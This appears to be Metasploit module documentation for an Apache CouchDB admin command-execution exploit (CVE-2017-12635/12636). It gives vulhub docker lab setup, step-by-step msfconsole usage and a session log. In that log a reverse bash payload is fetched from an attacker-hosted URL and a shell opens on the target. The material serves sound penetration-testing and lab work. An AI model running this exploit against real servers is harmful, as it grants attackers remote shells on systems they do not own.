## Description  

CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options
include paths for operating system-level binaries that are subsequently launched by CouchDB.
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell
commands as the CouchDB user,including downloading and executing scripts from the public internet.

## Vulnerable Application  

**Vulnerable Application Link** 

- docker  

Couchdb 2.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635  
Couchdb 1.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636


### Vulnerable Application Installation Setup.

Change dictory to CVE-2017-1263X, and run `docker-compose up -d` 


## Verification Steps  

  1. Install the application
  2. Start msfconsole
  3. Do: ```use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb```
  4. Do: ``check``

``[*] 192.168.77.139:5984 The target appears to be vulnerable.``

  5. Do: ``set srvhost <ip>``
  6. Do: ``set srvport <port>``
  7. Do: ``set lhost <ip>``
  8. Do: ``set lport <port>``
  9. Do: ``exploit``
  10. You should get a shell.

## Options

### URIPATH

``URIPATH`` by default is random, you can change it if you want.

### HttpUsername, HttpPassword  

Sometimes it requires authentication, set these options to authorize.  


## Scenarios  

### Apache CouchDB on Linux

```
msf > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
msf exploit(linux/http/apache_couchdb_cmd_exec) > show options 

Module options (exploit/linux/http/apache_couchdb_cmd_exec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        The password to login with
   HttpUsername                   no        The username to login as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                          yes       The target address
   RPORT         5984             yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT       8080             yes       The local port to listen on.
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit to download and execute. (default is random)
   VHOST                          no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(linux/http/apache_couchdb_cmd_exec) > set rhost 192.168.77.139
rhost => 192.168.77.139
msf exploit(linux/http/apache_couchdb_cmd_exec) > check 
[*] 192.168.77.139:5984 The target appears to be vulnerable.
msf exploit(linux/http/apache_couchdb_cmd_exec) > set srvhost 192.168.77.139 
srvhost => 192.168.77.139
msf exploit(linux/http/apache_couchdb_cmd_exec) > set srvport 8888
srvport => 8888
msf exploit(linux/http/apache_couchdb_cmd_exec) > set lhost 192.168.77.139 
lhost => 192.168.77.139
msf exploit(linux/http/apache_couchdb_cmd_exec) > exploit 
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.77.139:4444 
msf exploit(linux/http/apache_couchdb_cmd_exec) > [*] Using URL: http://192.168.77.139:8888/rXrdf2
[*] 192.168.77.139:5984 - The 1 time to exploit
[*] 192.168.77.139:5984 - Sending the payload to the server...
[*] Command shell session 1 opened (192.168.77.139:4444 -> 172.18.0.2:58348) at 2018-03-27 06:18:21 -0400
[*] Server stopped.
msf exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 1
[*] Starting interaction with 1...
id
uid=1000(couchdb) gid=999(couchdb) groups=999(couchdb)
```
